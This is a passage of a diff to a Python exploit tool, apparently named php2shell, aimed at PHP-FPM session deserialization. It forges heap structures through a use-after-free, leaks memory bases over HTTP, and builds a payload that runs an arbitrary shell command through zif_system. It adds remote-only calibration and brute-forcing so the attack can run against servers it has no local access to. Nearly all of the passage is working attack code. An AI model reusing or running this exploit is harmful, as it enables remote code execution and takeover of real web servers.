_headers, body = chain.get("/app.php", cookie=b"PHPSESSID=" + sid) + status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid)) return status, body @@ -325,9 +355,79 @@ def _arm_stale(base: Target, builder: Target, oracle: Oracle, size: int) -> int: return d +def _reclaim_pads(version: str, override: list[int] | None = None) -> list[int]: + if override: + return [int(x) for x in override] + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + return [int(x) for x in + json.load(handle)["fpm"].get("reclaim_pads", + [4096, 4096, 4096])] + except (OSError, KeyError, TypeError, ValueError): + return [4096, 4096, 4096] + + +def _load_profile(version: str) -> dict | None: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + return json.load(handle) + except (OSError, ValueError): + return None + + +# Layout of the structures the forged buffer impersonates. The values are +# the PHP 8.4 ones and are only used when a profile carries no "layout" +# section (profiles generated by tools/php2shell_fpm_profile.py always do). +DEFAULT_LAYOUT = { + "unserialize_data": { + "last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, + "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, + "size": 8216, + }, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, + "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, + "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, + "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, +} + + +def _layout(version: str) -> dict: + """Struct layout of a PHP build (from its profile).""" + profile = _load_profile(version) + layout = copy.deepcopy(DEFAULT_LAYOUT) + if profile and isinstance(profile.get("layout"), dict): + for section, values in profile["layout"].items(): + if isinstance(values, dict): + merged = dict(layout.get(section, {})) + merged.update(values) + layout[section] = merged + return layout + + +def _bg_offsets(version: str) -> tuple[int, int]: + """(data offset, level offset) of BG(unserialize) for a build.""" + profile = _load_profile(version) + if profile: + meta = profile.get("fpm", {}) + if "bg_unserialize_data_off" in meta and "bg_unserialize_level_off" in meta: + return int(meta["bg_unserialize_data_off"]), \ + int(meta["bg_unserialize_level_off"]) + return BG_UNSERIALIZE_DATA_OFF, BG_UNSERIALIZE_LEVEL_OFF + + def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int, - size: int = 12288) -> int | None: - """Land a patterned reclaim buffer (3x4096 pads + one big field) over d + size: int = 12288, + pads: list[int] | tuple[int, ...] = (4096, 4096, 4096) + ) -> int | None: + """Land a patterned reclaim buffer (pads + one big field) over d against a 404 endpoint, scan the mem chunk for the unique marker, and return the content offset K such that buffer+K == d.""" chunk = oracle.chunk_base(d) @@ -338,7 +438,8 @@ def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int, marker = b"MK" + os.urandom(6) content = bytearray(b"\x00" * size) content[0:8] = marker - parts = [{"name": f"pad{i}", "data": b"C" * 4096} for i in range(3)] + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] parts.append({"name": "big", "data": bytes(content)}) chain404.post_multipart(parts, b"PRBLAND1") oracle.refresh() @@ -352,6 +453,10 @@ def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int, idx = pos + 1 d_off = d - chunk cover = [h for h in hits if h <= d_off and d_off + need <= h + size] + if os.environ.get("PHP2SHELL_DEBUG"): + print(f"[debug] d={d:#x} chunk={chunk:#x} d_off={d_off:#x} " + f"need={need:#x} size={size:#x} hits={[hex(h) for h in hits]} " + f"cover={[hex(h) for h in cover]}") if not cover: print(f"[!] no covering reclaim buffer (hits={[hex(h) for h in hits]})") return None @@ -368,18 +473,21 @@ def _rebuild_ref_and_arm(base: Target, builder: Target, oracle: Oracle, return _arm_stale(base, builder, oracle, oom_size) -def _consume_b(chainapp: Target, forged: bytes) -> tuple[int, dict[str, str], bytes]: +def _consume_b(chainapp: Target, forged: bytes, + pads: list[int] | tuple[int, ...] = (4096, 4096, 4096) + ) -> tuple[int, dict[str, str], bytes]: """Consume with the forged reclaim buffer. Consumer B MUST carry the PHP_SESSION_UPLOAD_PROGRESS field and a file part: rfc1867 has to fire the pre-RINIT session_start, otherwise the decode would run post-RINIT against a memset BG(unserialize).""" - parts = [{"name": f"pad{i}", "data": b"C" * 4096} for i in range(3)] + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] parts.append({"name": "big", "data": forged}) parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}) parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8}) status, headers, body = chainapp.post_multipart(parts, b"CONSUME01", - cookie=b"PHPSESSID=" + REF_SID) + cookie=_cookie(REF_SID)) print(f"[*] consumer status={status}") return status, headers, body @@ -439,7 +547,10 @@ def cmd_build_ref(args) -> int: sid = REF_SID status, body = ref_session_post(builder, sid) path = session_file(args.version, sid) - content = open(path, "rb").read() if os.path.isfile(path) else b"" + content = b"" + if os.path.isfile(path): + with open(path, "rb") as handle: + content = handle.read() print(f"builder status={status} body={body[:40]!r}") print(f"session_file={path} content={content!r}") return 0 if b"R:2" in content else 1 @@ -449,7 +560,7 @@ def cmd_producer(args) -> int: chain = Target(args.base) sid = args.sid.encode("latin1") before = find_pool_worker(args.version, "chain") - status, _headers, body = chain.get("/app.php", cookie=b"PHPSESSID=" + sid) + status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid)) time.sleep(0.2) after = find_pool_worker(args.version, "chain") print(f"producer status={status} worker {before} -> {after} " @@ -531,13 +642,104 @@ def _forged_benign(param_addr: int) -> bytes: # +56 entries.used_slots = 8 (so R:2 -> data[1] is inside our data[]) struct.pack_into(" bytes: + """Forged reclaim buffer with a benign fake zval (the calibration step). + + The buffer impersonates the freed php_unserialize_data struct: ``last`` + points at the ``entries`` block, ``entries.used_slots`` is 2 so that the + R:2 reference of the session file resolves to ``data[1]``, and ``data[1]`` + points at a fake IS_LONG zval holding ``value``. app.php echoes the + value back, which proves the primitive without firing a destructor. + + PHP <= 7.3 (``layout["unserialize_data"]["legacy"]``) has no embedded + block: ``first``/``last`` point at a separately allocated var_entries + whose ``data[]`` comes first, so the fake block starts at the beginning + of the reclaim buffer itself. ``first`` has to be the address of a real + allocation because PHP 7's var_destroy() frees every block it walks. + """ + layout = layout or DEFAULT_LAYOUT + uns = layout["unserialize_data"] + zval = layout["zval"] + forged = bytearray(size) + entries = uns["entries"] + data_base = entries + layout["var_entries"]["data"] + struct.pack_into(" bytes: + """Forged reclaim buffer that turns the stale ``r`` into a long OOB string. + + The string-slot leak needs the freed k1 slot to be reused by the reclaim + buffer, which depends on the allocator of the build. This variant does + not: R:2 resolves to a fake IS_STRING zval planted next to the fake + struct, whose zend_string also lives inside the reclaim buffer, so + echoing ``r`` dumps ``read_len`` bytes starting inside the buffer and + running through the chunk. Only the reclaim geometry (which the same + sweep discovers) is required. + """ + layout = layout or DEFAULT_LAYOUT + uns = layout["unserialize_data"] + zval = layout["zval"] + string = layout["zend_string"] + ve = layout["var_entries"] + forged = bytearray(size) + entries = uns["entries"] + data_base = entries + ve["data"] + struct.pack_into(" forged zend_string at d+0x400 + struct.pack_into(" 0: + forged[content_off:content_off + fill] = b"Q" * fill + return bytes(forged) + + +def _remote_leak_probe(base: str, builder: str, version: str, chunk: int, + d_off: int, k: int, size: int, pads: list[int], + read_len: int | None = None) -> bytes | None: + """Consume with the direct-leak payload and return the reflected bytes.""" + chainapp = Target(base + PATHS["app"]) + layout = _layout(version) + read_len = read_len or LEAK_READ_LEN + _remote_arm_and_normalize(base, builder, size, pads, size) + forged = _build_leak_payload(chunk + d_off, k, size, read_len, layout) + _status, _headers, body = _consume_b(chainapp, forged, pads) + raw = _dechunk(body) + index = raw.find(b"r\t") + if index < 0: + return None + return raw[index + 2:index + 2 + read_len] + + def cmd_primitive(args) -> int: """Arbitrary zval-read primitive: forged var_hash at stale d, session 'php' decode of the ref session, R:2 -> var_access(1) reads a fake @@ -554,18 +756,24 @@ def cmd_primitive(args) -> int: if the re-armed consume d differs from the probed d, retry (the pair stabilizes after at most one mismatch).""" base = Target(args.base) - chain404 = Target(args.base + "/nope.php") - chainapp = Target(args.base + "/app.php") + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) builder = Target(args.builder) oracle = Oracle(args.version) - size, need = 16384, 0x440 + pads = _reclaim_pads(args.version, getattr(args, "reclaim_pads", None)) + layout = _layout(args.version) + size = int(getattr(args, "reclaim_size", 0) or 16384) + need = 0x440 - for _attempt in range(4): + for _attempt in range(8): try: d = _arm_stale(base, builder, oracle, args.size) - k = _probe_cover(chain404, oracle, d, need, size) + k = _probe_cover(chain404, oracle, d, need, size, pads) if k is None: - return 1 + # the recycled struct alternates between two slots; the + # reclaim buffer only covers one of them per attempt + time.sleep(0.3) + continue d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) except (RuntimeError, OSError) as exc: print(f"[!] {exc}; refreshing oracle") @@ -579,18 +787,9 @@ def cmd_primitive(args) -> int: if d2 != d: print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") continue - forged = bytearray(size) - struct.pack_into(" &entries - struct.pack_into(" fake - struct.pack_into(" fake - struct.pack_into(" fake zval - struct.pack_into(" int: def _build_endgame_payload(d: int, k: int, size: int, zif: int, - command: bytes) -> bytes: + command: bytes, + layout: dict | None = None) -> bytes: """Build the forged reclaim buffer for the endgame chain. Layout (content offsets from K; every absolute address is d-relative): @@ -614,49 +814,70 @@ def _build_endgame_payload(d: int, k: int, size: int, zif: int, K+0x800 fake Bucket doubling as the zif_system execute_data frame K+0x880 fake zend_string holding the command K+0x8F0 writable scratch for the zif_system return_value + + The struct offsets inside the fake objects come from the profile's + "layout" section, which is generated from the build's own headers: the + zend_array / zend_reference / zend_execute_data layouts moved between + PHP releases. """ + layout = layout or DEFAULT_LAYOUT forged = bytearray(size) + uns = layout["unserialize_data"] + zval = layout["zval"] + array = layout["zend_array"] + ref = layout["zend_reference"] + string = layout["zend_string"] + frame = layout["zend_execute_data"] + ve = layout["var_entries"] # decode-time forged struct (identical to the primitive) - struct.pack_into(" &entries - struct.pack_into(" fake - struct.pack_into(" fake - struct.pack_into(" fake zval - struct.pack_into(" fake ref at d+0x500 struct.pack_into(" 1 - struct.pack_into("val.arr - struct.pack_into(" 0 -> fire - struct.pack_into(" fake bucket - struct.pack_into(" fake zend_string; E+0x10 return_value -> - # writable scratch; E+0x2C num_args=1; E+0x50 arg1 zval + # bucket.val = IS_STRING -> fake zend_string; the frame's return_value + # points at writable scratch; num_args=1; arg1 zval points at the + # fake zend_string holding the command. struct.pack_into(" int: return 1 proof = (args.proof_file or "out/p1").lstrip("/") base = Target(args.base) - chain404 = Target(args.base + "/nope.php") - chainapp = Target(args.base + "/app.php") + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) builder = Target(args.builder) oracle = Oracle(args.version) - size, need = 12288, 0x900 + pads = _reclaim_pads(args.version, getattr(args, "reclaim_pads", None)) + layout = _layout(args.version) + size = int(getattr(args, "reclaim_size", 0) or 12288) + need = 0x900 local_proof = os.path.join(LAB, "webroot", proof) - try: + with contextlib.suppress(OSError): os.remove(local_proof) - except OSError: - pass worker_before = find_pool_worker(args.version, "chain") - for _attempt in range(4): + for _attempt in range(8): try: d = _arm_stale(base, builder, oracle, args.size) - k = _probe_cover(chain404, oracle, d, need, size) + k = _probe_cover(chain404, oracle, d, need, size, pads) if k is None: - print("[*] probe found no cover; " - "falling back to the two-slot no-oracle geometry") - return cmd_no_oracle(args) + # the recycled struct alternates between two slots; the + # reclaim buffer only covers one of them per attempt + print("[*] probe found no cover; retrying") + time.sleep(0.3) + continue d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) except (RuntimeError, OSError) as exc: # a dead worker (stale /proc pid) or a missed arm: rebuild the @@ -737,15 +961,16 @@ def cmd_endgame(args) -> int: if d2 != d: print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") continue - forged = _build_endgame_payload(d, k, size, oracle.zif, command) + forged = _build_endgame_payload(d, k, size, oracle.zif, command, layout) - status, _h, _body = _consume_b(chainapp, forged) + status, _h, _body = _consume_b(chainapp, forged, pads) print(f"[*] command {command!r} fired (status={status}); waiting for " f"worker respawn ...") break else: - print("[!] reclaim slot never stabilized") - return 1 + print("[!] reclaim slot never stabilized; falling back to the " + "no-oracle geometry") + return cmd_no_oracle(args) time.sleep(0.8) worker_after = find_pool_worker(args.version, "chain") @@ -845,20 +1070,16 @@ def _dechunk(body: bytes) -> bytes: return bytes(out) -def leak_bases_http(base_url: str, builder_url: str, - version: str) -> tuple[int, int]: - """Leak PIE and Zend-MM chunk bases over HTTP only. +def _leak_read(base_url: str, builder_url: str, version: str, geom: dict, + attempts: int = 3) -> bytes | None: + """One stale-string OOB read with an explicit geometry; HTTP only. - The stale short-session string is pointed at a forged zend_string - header in a reclaimed big field. Its length spans the stale zval - array (chunk pointer) and the execute_ex handler table (PIE pointer). - The leak read is repeated because the worker aborts after answering. + ``geom`` only needs arm_path/pads/size/header_content_off/read_len, so + the same request runs both with the calibrated geometry of a profile and + with a candidate geometry while one is being discovered. """ - geom = _leak_geometry(version) - if geom is None: - raise RuntimeError(f"no HTTP leak geometry for PHP {version}") chain = Target(base_url) - app = Target(base_url + "/app.php") + app = Target(base_url + PATHS["app"]) builder = Target(builder_url) size = geom["size"] read_len = geom["read_len"] @@ -869,47 +1090,186 @@ def leak_bases_http(base_url: str, builder_url: str, struct.pack_into(" 0: + content[header + 0x18:header + 0x18 + fill] = b"Q" * fill parts = [{"name": f"pad{i}", "data": b"C" * pad} for i, pad in enumerate(geom["pads"])] parts.append({"name": "big", "data": bytes(content)}) parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}) parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8}) - for attempt in range(10): + for attempt in range(attempts): + if attempt: + time.sleep(0.25) + # A reset request after a killed worker clears stale session/lock + # state; without it a post-fire leak can fail on an otherwise healthy + # respawned worker. + with contextlib.suppress(OSError): + ref_session_post(builder, REF_SID) + app.get(PATHS["app"], cookie=_cookie(REF_SID)) try: - builder.get(geom["arm_path"], cookie=b"PHPSESSID=" + OOM_SID) - chain.get("/app.php", cookie=b"PHPSESSID=" + OOM_SID) + builder.get(geom["arm_path"], cookie=_cookie(OOM_SID)) + chain.get(PATHS["app"], cookie=_cookie(OOM_SID)) ref_session_post(builder, REF_SID) _status, _headers, body = app.post_multipart( - parts, b"HTTPLEAK", cookie=b"PHPSESSID=" + REF_SID, + parts, b"HTTPLEAK", cookie=_cookie(REF_SID), timeout=180.0) raw = _dechunk(body) idx = raw.find(b"r\t") if idx < 0: continue read = raw[idx + 2:idx + 2 + read_len] - if len(read) < read_len: - continue + if len(read) >= read_len: + return read + except (OSError, RuntimeError, TimeoutError): + continue + return None + + +def leak_bases_http(base_url: str, builder_url: str, version: str, + arm_path: str | None = None) -> tuple[int, int]: + """Leak PIE and Zend-MM chunk bases over HTTP only. + + The stale short-session string is pointed at a forged zend_string + header in a reclaimed big field. Its length spans the stale zval + array (chunk pointer) and the execute_ex handler table (PIE pointer). + The leak read is repeated because the worker aborts after answering. + """ + geom = _leak_geometry(version) + if geom is None: + raise RuntimeError(f"no HTTP leak geometry for PHP {version}") + if arm_path: + geom = dict(geom, arm_path=arm_path) + for attempt in range(10): + if attempt: + time.sleep(0.25) + read = _leak_read(base_url, builder_url, version, geom, attempts=1) + if read is None: + continue + try: chunk_ptr = struct.unpack_from(" tuple[list[tuple[int, int]], + list[tuple[int, int]]]: + """(offset, value) pairs of chunk- and PIE-range pointers in a leak.""" + chunk_ptrs: list[tuple[int, int]] = [] + pie_ptrs: list[tuple[int, int]] = [] + for off in range(0, len(read) - 8, 8): + value = struct.unpack_from("= size: + continue # the forged header would not fit the buffer + geom = {"arm_path": arm_path, "pads": list(pads), + "size": size, "header_content_off": header, + "read_len": LEAK_READ_LEN} + first = _leak_read(base_url, builder_url, version, geom) + if first is None: continue - if not (0x550000000000 <= pie_ptr < 0x570000000000): + chunk_ptrs, pie_ptrs = _scan_pointers(first) + if not chunk_ptrs or not pie_ptrs: continue - if chunk & 0x1fffff or pie & 0x1fffff: + second = _leak_read(base_url, builder_url, version, geom) + if second is None: continue - if chunk_ptr & 0xfff: + chunk_again, pie_again = _scan_pointers(second) + stable_chunk = [(off, val) for off, val in chunk_ptrs + if (off, val) in chunk_again] + stable_pie = [(off, val) for off, val in pie_ptrs + if (off, val) in pie_again] + if not stable_chunk or not stable_pie: continue - print(f"[*] HTTP leak attempt {attempt}: " - f"chunk=0x{chunk:x} pie=0x{pie:x}") - return pie, chunk - except (OSError, RuntimeError, TimeoutError): - continue - raise RuntimeError("HTTP leak failed (all reads short or invalid)") + chunk_off, chunk_ptr = stable_chunk[0] + chunk = chunk_ptr & ~(MEM_CHUNK - 1) + # The execute_ex handler table sits at the far end of the OOB read + # (0x157e8 of a 0x15810 read on 8.4 and on 8.2), while the dense + # runs of stale heap values sit near its start: trying the pointers + # from the tail first is what keeps the base search short. + stable_pie.sort(key=lambda item: item[0], reverse=True) + geometry = { + "arm_path": arm_path, + "pads": list(pads), + "size": size, + "header_content_off": hex(header), + "read_len": hex(LEAK_READ_LEN), + "chunk_ptr_off": hex(chunk_off), + "chunk_base_off": hex(chunk_ptr - chunk), + "pie_ptr_off": None, # set once a pointer proves its base + "pie_base_off": None, # ditto + "bases": "discovered over HTTP with the calibrate command " + "(no /proc access)", + } + print(f"[+] leak geometry pads={pads} size={size} " + f"header=0x{header:x}: chunk_ptr_off=0x{chunk_off:x}, " + f"{len(stable_pie)} stable PIE-range pointers") + yield geometry, chunk_ptr, stable_pie def _local_bases(version: str) -> tuple[int, int]: @@ -930,11 +1290,13 @@ def _local_bases(version: str) -> tuple[int, int]: parts = line.split() start_s, end_s = parts[0].split("-") start, end = int(start_s, 16), int(end_s, 16) - if len(parts) >= 6 and parts[-1] == exe: - if pie is None or start < pie: - pie = start - if chunk is None and "rw-p" in parts[1] and end - start == MEM_CHUNK: - chunk = start + if (len(parts) >= 6 and parts[-1] == exe + and (pie is None or start < pie)): + pie = start + if chunk is None and "rw-p" in parts[1] and end - start >= MEM_CHUNK: + base = (start + MEM_CHUNK - 1) & ~(MEM_CHUNK - 1) + if base + MEM_CHUNK <= end: + chunk = base if pie is None or chunk is None: raise RuntimeError("could not derive PIE/chunk bases from maps") return pie, chunk @@ -943,7 +1305,8 @@ def _local_bases(version: str) -> tuple[int, int]: def cmd_leak(args) -> int: """Leak the chunk and PIE bases over HTTP and print them.""" try: - pie, chunk = leak_bases_http(args.base, args.builder, args.version) + pie, chunk = leak_bases_http(args.base, args.builder, args.version, + getattr(args, "arm_path", None)) except (OSError, RuntimeError) as exc: print(f"[!] {exc}") return 1 @@ -955,22 +1318,29 @@ def cmd_no_oracle(args) -> int: """HTTP-only endgame: no /proc//mem reads at exploit time. The absolute heap/PIE bases are stable for the lifetime of the FPM - master (workers are forked from it). By default they are leaked over - HTTP; --chunk/--pie override the leak and /proc//maps is a local - fallback. The reclaim geometry is normalized with one throw-away - pads+big request to a 404 endpoint (same allocation shape as - _probe_cover, no scanning), then the (d-offset, content-offset) pair + master (workers are forked from it). They are leaked over HTTP, or + supplied with --chunk/--pie. This mode never uses /proc unless the + explicit --allow-local-fallback lab flag is set; a failed HTTP leak is + an error for a remote target. The reclaim geometry is normalized with + one throw-away pads+big request to a 404 endpoint (same allocation shape + as _probe_cover, no scanning), then the (d-offset, content-offset) pair is brute-forced over the two slots and their possible cover offsets. """ pie = getattr(args, "pie", 0) chunk = getattr(args, "chunk", 0) if not chunk or not pie: try: - pie, chunk = leak_bases_http(args.base, args.builder, args.version) + pie, chunk = leak_bases_http(args.base, args.builder, args.version, + getattr(args, "arm_path", None)) print("[*] bases from HTTP stale-string leak: " f"pie=0x{pie:x} chunk=0x{chunk:x}") except (OSError, RuntimeError) as exc: print(f"[!] HTTP leak failed: {exc}") + if not getattr(args, "allow_local_fallback", False): + print("[!] strict remote mode: refusing local /proc fallback") + print(" retry the leak, or pass --chunk/--pie " + "(stable for the FPM master lifetime)") + return 1 try: pie, chunk = _local_bases(args.version) except (OSError, RuntimeError) as local_exc: @@ -981,6 +1351,15 @@ def cmd_no_oracle(args) -> int: f"pie=0x{pie:x} chunk=0x{chunk:x}") zif = pie + _zif_offset(args.version) size, candidates, pads = _no_oracle_geometry(args.version) + if getattr(args, "reclaim_pads", None): + pads = [int(x) for x in args.reclaim_pads] + if getattr(args, "reclaim_size", 0): + size = int(args.reclaim_size) + if getattr(args, "candidates", None): + candidates = [(int(c[0], 0) if isinstance(c[0], str) else int(c[0]), + int(c[1], 0) if isinstance(c[1], str) else int(c[1])) + for c in args.candidates] + layout = _layout(args.version) command = args.command.encode("latin1") if not command or b"\x00" in command: print("[!] command must be non-empty and contain no NUL bytes") @@ -990,19 +1369,18 @@ def cmd_no_oracle(args) -> int: return 1 proof = (args.proof_file or "out/p1").lstrip("/") base = Target(args.base) - chain404 = Target(args.base + "/nope.php") - chainapp = Target(args.base + "/app.php") + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) builder = Target(args.builder) local_proof = os.path.join(LAB, "webroot", proof) print(f"[*] no-oracle: chunk=0x{chunk:x} pie=0x{pie:x} zif=0x{zif:x}") - for attempt in range(8): + tries = int(getattr(args, "tries", 8)) + for attempt in range(tries): d_off, k = candidates[attempt % len(candidates)] d = chunk + d_off - try: + with contextlib.suppress(OSError): os.remove(local_proof) - except OSError: - pass # arm #1, then normalize the post-arm heap with a pads+big request # that has the same allocation shape as the calibrated probe. big_session_post(builder, OOM_SID, args.size) @@ -1015,11 +1393,11 @@ def cmd_no_oracle(args) -> int: ref_session_post(builder, REF_SID) big_session_post(builder, OOM_SID, args.size) producer_get(base, OOM_SID) - forged = _build_endgame_payload(d, k, size, zif, command) - status, _h, _b = _consume_b(chainapp, forged) + forged = _build_endgame_payload(d, k, size, zif, command, layout) + status, _h, _b = _consume_b(chainapp, forged, pads) print(f"[*] attempt {attempt}: d=0x{d:x} k=0x{k:x} status={status}") - for _ in range(4): - time.sleep(0.35) + for _ in range(6): + time.sleep(0.5) pstatus, _ph, pbody = base.get("/" + proof) if pstatus == 200 and pbody: print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") @@ -1029,6 +1407,317 @@ def cmd_no_oracle(args) -> int: return 1 +def _wide_grid(version: str, start: int = 0x60000, end: int = 0xA0000, + step: int = 0x800) -> list[tuple[int, int]]: + """Every plausible slot of the chunk with the two common cover offsets. + + A build whose allocator places the recycled slot somewhere the small + grids never look still gets a chance: the low half of the 2 MB Zend-MM + chunk is scanned at 2 KB steps. The band where the request heap has put + the slot on every version so far is tried first, so the automatic search + usually finishes within a few dozen attempts. + """ + grid: list[tuple[int, int]] = [] + _size, candidates, _pads = _no_oracle_geometry(version) + for slot in candidates: + pair = (int(slot[0]), int(slot[1])) + if pair not in grid: + grid.append(pair) + + def band(low: int, high: int) -> None: + for slot in range(low, high, step): + for offset in (0xFE8, 0x1FE8): + pair = (slot, offset) + if pair not in grid: + grid.append(pair) + + band(0x78000, 0x88000) # observed on 8.2/8.4 builds + band(start, 0x78000) + band(0x88000, end) + return grid + + +def _remote_arm_and_normalize(base: str, builder: str, size: int, + pads: list[int], normalize: int) -> None: + """Arm the stale state and normalize the heap with one pads+big request. + + Same shape as the endgame consume: build the 4 MB session, fire the + producer, throw one pads+big request at a 404 endpoint so the heap + looks the same on every attempt, then rebuild the reference session and + re-arm. + """ + chain = Target(base) + chain404 = Target(base + PATHS["probe"]) + builder_t = Target(builder) + big_session_post(builder_t, OOM_SID, 4 << 20) + producer_get(chain, OOM_SID) + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": b"\x00" * normalize}) + chain404.post_multipart(parts, b"RMTNORM1", timeout=120.0) + ref_session_post(builder_t, REF_SID) + big_session_post(builder_t, OOM_SID, 4 << 20) + producer_get(chain, OOM_SID) + + +def _remote_primitive(base: str, builder: str, version: str, chunk: int, + d_off: int, k: int, size: int, pads: list[int], + value: int = 1337337) -> bool: + """Consume with a forged IS_LONG zval and look for it in the response. + + The primitive needs no PIE base, which makes it the right probe for the + reclaim geometry of an unknown build: it is a pure HTTP round trip whose + answer tells whether the forged var_hash was picked up. + """ + chainapp = Target(base + PATHS["app"]) + layout = _layout(version) + _remote_arm_and_normalize(base, builder, size, pads, size) + forged = _build_primitive_payload(chunk + d_off, k, size, value, layout) + _status, _headers, body = _consume_b(chainapp, forged, pads) + return str(value).encode() in body + + +def cmd_calibrate(args) -> int: + """Full remote calibration of a build (HTTP requests only). + + Three phases, none of them reading /proc: + + 1. leak geometry: where the forged zend_string header has to sit and + which offsets carry the chunk/PIE pointers (``calibrate_leak_remote``); + 2. reclaim geometry: which (chunk offset, content offset) pair makes a + forged zval observable through app.php (the primitive needs no PIE + base, so it isolates the heap geometry); + 3. PIE base: the leaked pointer is rounded down to 2 MB boundaries and + each candidate is validated with a remote endgame until the proof + file appears. + + The result is written into profiles/-fpm.json, so afterwards + ``no-oracle`` works against the same build with no further calibration. + """ + version = args.version + print(f"[*] remote calibration of PHP {version}") + + # ---- phase 1: leak geometries --------------------------------------- + geometries = list(leak_geometry_candidates(args.base, args.builder, version)) + if not geometries: + print("[!] no leak geometry found over HTTP") + return 1 + chunk_ptr = geometries[0][1] + chunk = chunk_ptr & ~(MEM_CHUNK - 1) + + # ---- phase 2: reclaim geometry via the remote primitive -------------- + _size, candidates, pads = _no_oracle_geometry(version) + if getattr(args, "reclaim_pads", None): + pads = [int(x) for x in args.reclaim_pads] + reclaim_size = int(getattr(args, "reclaim_size", 0) or _size) + shapes = [(list(pads), reclaim_size)] + for alt_pads, alt_size in (([4096, 4096, 4096], 12288), + ([4096], 16384), + ([8192, 4096], 16384), + ([4096, 4096], 24576), + ([32768], 16384), + ([4096, 4096], 32768)): + if (alt_pads, alt_size) not in shapes: + shapes.append((alt_pads, alt_size)) + grid = [(int(c[0]), int(c[1])) for c in candidates] + for pair in _wide_grid(version): + if pair not in grid: + grid.append(pair) + winners: list[tuple[int, int]] = [] + used_shape: list[int] | None = None + used_size = reclaim_size + for shape_pads, shape_size in shapes: + print(f"[*] probing pads={shape_pads} size={shape_size} " + f"({len(grid)} pairs)") + extra = 24 + for d_off, k in grid[:int(args.attempts)]: + if k + 0x900 > shape_size: + continue # the forged objects would not fit the buffer + try: + hit = _remote_primitive(args.base, args.builder, version, chunk, + d_off, k, shape_size, shape_pads) + except (OSError, RuntimeError, TimeoutError) as exc: + print(f" 0x{d_off:x}/0x{k:x}: {exc}") + continue + print(f" 0x{d_off:x}/0x{k:x}: " + f"{'observable' if hit else 'not observable'}") + if hit: + winners.append((d_off, k)) + used_shape, used_size = list(shape_pads), shape_size + # the 8 KB slot recycles between two addresses, so a bounded + # number of extra pairs is probed for the second one; the + # endgame cycles through whatever was found + extra -= 1 + if len(winners) >= 4 or extra <= 0: + break + if winners: + break + if not winners: + print("[!] no reclaim candidate is observable over HTTP") + return 1 + pads, reclaim_size = used_shape or pads, used_size + print(f"[*] reclaim candidates: " + f"{', '.join(f'0x{d:x}/0x{k:x}' for d, k in winners)}") + + # ---- phase 3: PIE base via the remote endgame ------------------------ + proof = (args.proof_file or "out/calib").lstrip("/") + local_proof = os.path.join(LAB, "webroot", proof) + zif_off = _zif_offset(version) + # The r-x mapping of a PHP build starts one 2MB page into the binary and + # holds a few MB of code, so only pointers that can sit inside it are + # worth a base candidate: stale heap values (which are stable across two + # reads as well) are skipped without spending a request on them. When a + # geometry carries no code pointer at all the next geometry is tried, + # because the OOB read has to actually span the handler table. + code_low, code_high = PIE_CODE_WINDOW + pie = None + geometry = None + chosen: tuple[int, int] | None = None + budget = int(getattr(args, "budget", 160)) + for candidate_geometry, geometry_chunk, pie_pointers in geometries: + geometry_chunk &= ~(MEM_CHUNK - 1) + for pie_off, pie_ptr in pie_pointers: + aligned = pie_ptr & ~(MEM_CHUNK - 1) + for steps in range(0, 6): + candidate = aligned - steps * MEM_CHUNK + if candidate <= 0: + break + offset = pie_ptr - candidate + if offset >= code_high: + break # further steps only push it out of the code + if offset < code_low: + continue # the base is still too high + if budget <= 0: + break + budget -= 1 + with contextlib.suppress(OSError): + os.remove(local_proof) + print(f"[*] PIE candidate ptr=0x{pie_ptr:x} " + f"@leak+0x{pie_off:x} base=0x{candidate:x} " + f"(zif=0x{candidate + zif_off:x})") + attempt = argparse.Namespace(**vars(args)) + attempt.chunk, attempt.pie = geometry_chunk, candidate + attempt.candidates = list(winners) + attempt.proof_file = proof + attempt.command = f"id>{proof}" + attempt.reclaim_pads, attempt.reclaim_size = pads, reclaim_size + attempt.tries = max(4, 2 * len(winners)) + if cmd_no_oracle(attempt) == 0: + pie, geometry = candidate, candidate_geometry + chosen = (pie_off, pie_ptr) + chunk = geometry_chunk + break + if pie is not None: + break + if pie is not None: + break + if pie is None or geometry is None or chosen is None: + print("[!] no PIE base candidate produced a proof") + return 1 + geometry["pie_ptr_off"] = hex(chosen[0]) + geometry["pie_base_off"] = hex(chosen[1] - pie) + zif = pie + zif_off + print(f"[+] remote calibration solved: chunk=0x{chunk:x} pie=0x{pie:x} " + f"zif=0x{zif:x}") + + if not getattr(args, "update_profile", 